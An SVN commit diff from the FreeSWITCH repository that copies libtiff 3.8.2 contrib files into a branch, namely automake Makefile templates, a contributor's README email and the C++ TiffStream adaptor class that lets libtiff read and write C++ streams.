+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+EXTRA_DIST = README tiffstream.cpp tiffstream.h
+all: all-am
+
+.SUFFIXES:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  contrib/stream/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  contrib/stream/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+tags: TAGS
+TAGS:
+
+ctags: CTAGS
+CTAGS:
+
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile
+installdirs:
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libtool mostlyclean-am
+
+distclean: distclean-am
+	-rm -f Makefile
+distclean-am: clean-am distclean-generic distclean-libtool
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-generic mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-info-am
+
+.PHONY: all all-am check check-am clean clean-generic clean-libtool \
+	distclean distclean-generic distclean-libtool distdir dvi \
+	dvi-am html html-am info info-am install install-am \
+	install-data install-data-am install-exec install-exec-am \
+	install-info install-info-am install-man install-strip \
+	installcheck installcheck-am installdirs maintainer-clean \
+	maintainer-clean-generic mostlyclean mostlyclean-generic \
+	mostlyclean-libtool pdf pdf-am ps ps-am uninstall uninstall-am \
+	uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/README

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/README (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/stream/README) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/README	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,30 @@
+Subject: tiff stream interface (contrib)
+Date: Thu, 30 Mar 2000 10:48:51 -0800
+From: "Avi Bleiweiss" <avi@shutterfly.com>
+To: <warmerda@home.com>, <mike@onshore.com>
+
+Here at Shutterfly we have augmented the file based tiff library to support
+C++ streams. The implementation is an adaptor class, which takes any C++
+stream from the user and in return it deposits i/o operation method pointers
+(e.g. read, write, seek and close) into the tiff's library client state.
+
+The class TiffStream has an overloaded factory method - makeFileStream -
+which takes the C++ stream as an argument, calls TIFFClientOpen and returns
+a tiff handle. The class retains the tiff handle in its local state and
+provides a helper function (getTiffHandle) to query the handle at any time.
+Additional helper method - getStreamSize - provides the stream size to the
+user. The implementation assumes client responsibility to delete the stream
+object. The class calls TIFFClose at destruction time.
+
+Attached are a definition (tiffstream.h) and an implementation
+(tiffstream.cpp) files of the TiffStream class. No changes are required to
+the tiff core piece and the class sits on top of the library. The code is
+fairly tested at this point and is used internally in Shutterfly imaging
+software. The code is portable across WindowsNT/Linux/Solaris.
+
+We at Shutterfly believe this software has benefits to the larger community
+of tiff library users and would like to contribute this software to be part
+of the tiff distributed package. Let me know of any issue.
+
+Thanks
+Avi

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/tiffstream.cpp

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/tiffstream.cpp (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/stream/tiffstream.cpp) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/tiffstream.cpp	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/tiffstream.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,232 @@
+// tiff stream interface class implementation
+
+#include "tiffstream.h"
+
+const char* TiffStream::m_name = "TiffStream";
+
+TiffStream::TiffStream()
+{
+    m_tif = NULL;
+
+
+    m_inStream = NULL;
+	m_outStream = NULL;
+	m_ioStream = NULL;
+
+	m_streamLength = 0;
+
+	m_this = reinterpret_cast<thandle_t>(this);
+};
+
+TiffStream::~TiffStream()
+{
+    if(m_tif != NULL) TIFFClose(m_tif);
+}
+
+TIFF*
+TiffStream::makeFileStream(istream* str)
+{
+    m_inStream = str;
+	m_outStream = NULL;
+	m_ioStream = NULL;
+    m_streamLength = getSize(m_this);
+
+    m_tif =  TIFFClientOpen(m_name, 
+                           "r",
+						   m_this,
+						   read,
+						   write,
+						   seek,
+						   close,
+						   size,
+						   map,
+						   unmap);
+    return m_tif;
+}
+
+TIFF*
+TiffStream::makeFileStream(ostream* str)
+{
+	m_inStream = NULL;
+    m_outStream = str;
+	m_ioStream = NULL;
+	m_streamLength = getSize(m_this);
+
+	m_tif =  TIFFClientOpen(m_name, 
+                           "w",
+						   m_this,
+						   read,
+						   write,
+						   seek,
+						   close,
+						   size,
+						   map,
+						   unmap);
+    return m_tif;
+}
+
+TIFF*
+TiffStream::makeFileStream(iostream* str)
+{
+	m_inStream = NULL;
+	m_outStream = NULL;
+    m_ioStream = str;
+	m_streamLength = getSize(m_this);
+
+    m_tif =  TIFFClientOpen(m_name, 
+	                       "r+w",
+						   m_this,
+						   read,
+						   write,
+						   seek,
+						   close,
+						   size,
+						   map,
+						   unmap);
+    return m_tif;
+}
+
+tsize_t
+TiffStream::read(thandle_t fd, tdata_t buf, tsize_t size)
+{
+	istream* istr;
+	TiffStream* ts = reinterpret_cast<TiffStream*>(fd);
+    if(ts->m_inStream != NULL) {
+	    istr = ts->m_inStream;
+	} else if(ts->m_ioStream != NULL) {
+	    istr = ts->m_ioStream;
+	}
+
+	int remain = ts->m_streamLength - ts->tell(fd);
+	int actual = remain < size ? remain : size;
+	istr->read(reinterpret_cast<char*>(buf), actual);
+    return istr->gcount();
+}
+
+tsize_t
+TiffStream::write(thandle_t fd, tdata_t buf, tsize_t size)
+{
+	TiffStream* ts = reinterpret_cast<TiffStream*>(fd);
+	ostream* ostr;
+	if(ts->m_outStream != NULL) {
+	    ostr = ts->m_outStream;
+	} else if(ts->m_ioStream != NULL) {
+	    ostr = ts->m_ioStream;
+	}
+
+	streampos start = ostr->tellp();
+	ostr->write(reinterpret_cast<const char*>(buf), size);
+	return ostr->tellp() - start;
+}
+
+toff_t
+TiffStream::seek(thandle_t fd, toff_t offset, int origin)
+{
+    TiffStream* ts = reinterpret_cast<TiffStream*>(fd);
+    if(ts->seekInt(fd, offset, origin) == true) return offset;
+	else return -1;
+}
+
+int
+TiffStream::close(thandle_t fd)
+{
+    TiffStream* ts = reinterpret_cast<TiffStream*>(fd);
+	if(ts->m_inStream != NULL) {
+		ts->m_inStream = NULL;
+		return 0;
+	} else if(ts->m_outStream != NULL) {
+		ts->m_outStream = NULL;
+		return 0;
+	} else if(ts->m_ioStream != NULL) {
+		ts->m_ioStream = NULL;
+		return 0;
+	}
+    return -1;
+}
+
+toff_t
+TiffStream::size(thandle_t fd)
+{
+    TiffStream* ts = reinterpret_cast<TiffStream*>(fd);
+    return ts->getSize(fd);
+}
+
+int 
+TiffStream::map(thandle_t fd, tdata_t* phase, toff_t* psize)
+{
+    return 0;
+}
+
+void
+TiffStream::unmap(thandle_t fd, tdata_t base, tsize_t size)
+{
+}
+
+unsigned int
+TiffStream::getSize(thandle_t fd)
+{
+	if(!isOpen(fd)) return 0;
+
+    unsigned int pos = tell(fd);
+	seekInt(fd, 0, end);
+	unsigned int size = tell(fd);
+	seekInt(fd, pos, beg);
+
+	return size;
+}
+
+unsigned int
+TiffStream::tell(thandle_t fd)
+{
+    TiffStream* ts = reinterpret_cast<TiffStream*>(fd);
+    if(ts->m_inStream != NULL) {
+	    return ts->m_inStream->tellg();
+	} else if(ts->m_outStream != NULL) {
+	    return ts->m_outStream->tellp();
+	} else if(ts->m_ioStream != NULL) {
+		return ts->m_ioStream->tellg();
+	}
+	return 0;
+}
+
+bool
+TiffStream::seekInt(thandle_t fd, unsigned int offset, int origin)
+{
+	if(!isOpen(fd)) return false;
+
+	ios::seek_dir org;
+	switch(origin) {
+	case beg: 
+		org = ios::beg;
+		break;
+	case cur: 
+		org = ios::cur;
+		break;
+	case end: 
+		org = ios::end;
+		break;
+	}
+
+	TiffStream* ts = reinterpret_cast<TiffStream*>(fd);
+    if(ts->m_inStream != NULL) {
+	    ts->m_inStream->seekg(offset, org);
+		return true;
+	} else if(ts->m_outStream != NULL) {
+	    ts->m_outStream->seekp(offset, org);
+		return true;
+	} else if(ts->m_ioStream != NULL) {
+	    ts->m_ioStream->seekg(offset, org);
+		ts->m_ioStream->seekp(offset, org);
+		return true;
+	}
+    return false;
+}
+
+bool
+TiffStream::isOpen(thandle_t fd)
+{
+	TiffStream* ts = reinterpret_cast<TiffStream*>(fd);
+	return (ts->m_inStream != NULL ||
+		   ts->m_outStream != NULL ||
+		   ts->m_ioStream != NULL);
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/tiffstream.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/tiffstream.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/stream/tiffstream.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/tiffstream.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/tiffstream.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,63 @@
+// tiff stream interface class definition
+
+#ifndef _TIFF_STREAM_H_
+#define _TIFF_STREAM_H_
+
+#include <iostream.h>
+
+#include "tiffio.h"
+
+class TiffStream {
+
+public:
+    // ctor/dtor
+    TiffStream();
+	~TiffStream();
+
+public:
+    enum SeekDir {
+	    beg,
+		cur,
+		end,
+    };
+
+public:
+    // factory methods
+    TIFF* makeFileStream(iostream* str);
+	TIFF* makeFileStream(istream* str);
+	TIFF* makeFileStream(ostream* str);
+
+public:
+    // tiff client methods
+	static tsize_t read(thandle_t fd, tdata_t buf, tsize_t size);
+	static tsize_t write(thandle_t fd, tdata_t buf, tsize_t size);
+	static toff_t seek(thandle_t fd, toff_t offset, int origin);
+	static toff_t size(thandle_t fd);
+	static int close(thandle_t fd);
+	static int map(thandle_t fd, tdata_t* phase, toff_t* psize);
+	static void unmap(thandle_t fd, tdata_t base, tsize_t size);
+
+public:
+    // query method
+	TIFF* getTiffHandle() const { return m_tif; }
+	unsigned int getStreamLength() { return m_streamLength; }
+
+private:
+	// internal methods
+    unsigned int getSize(thandle_t fd);
+	unsigned int tell(thandle_t fd);
+	bool seekInt(thandle_t fd, unsigned int offset, int origin);
+	bool isOpen(thandle_t fd);
+
+private:
+	thandle_t m_this;
+	TIFF* m_tif;
+	static const char* m_name;
+	istream* m_inStream;
+	ostream* m_outStream;
+	iostream* m_ioStream;
+	int m_streamLength;
+	
+};
+
+#endif // _TIFF_STREAM_H_
\ No newline at end of file

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/tags)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/tags/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,27 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+EXTRA_DIST = README listtif.c maketif.c xtif_dir.c xtiffio.h xtiffiop.h
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/tags/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/tags/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,385 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ../..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+subdir = contrib/tags
+DIST_COMMON = README $(srcdir)/Makefile.am $(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+SOURCES =
+DIST_SOURCES =
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+EXTRA_DIST = README listtif.c maketif.c xtif_dir.c xtiffio.h xtiffiop.h
+all: all-am
+
+.SUFFIXES:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  contrib/tags/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  contrib/tags/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
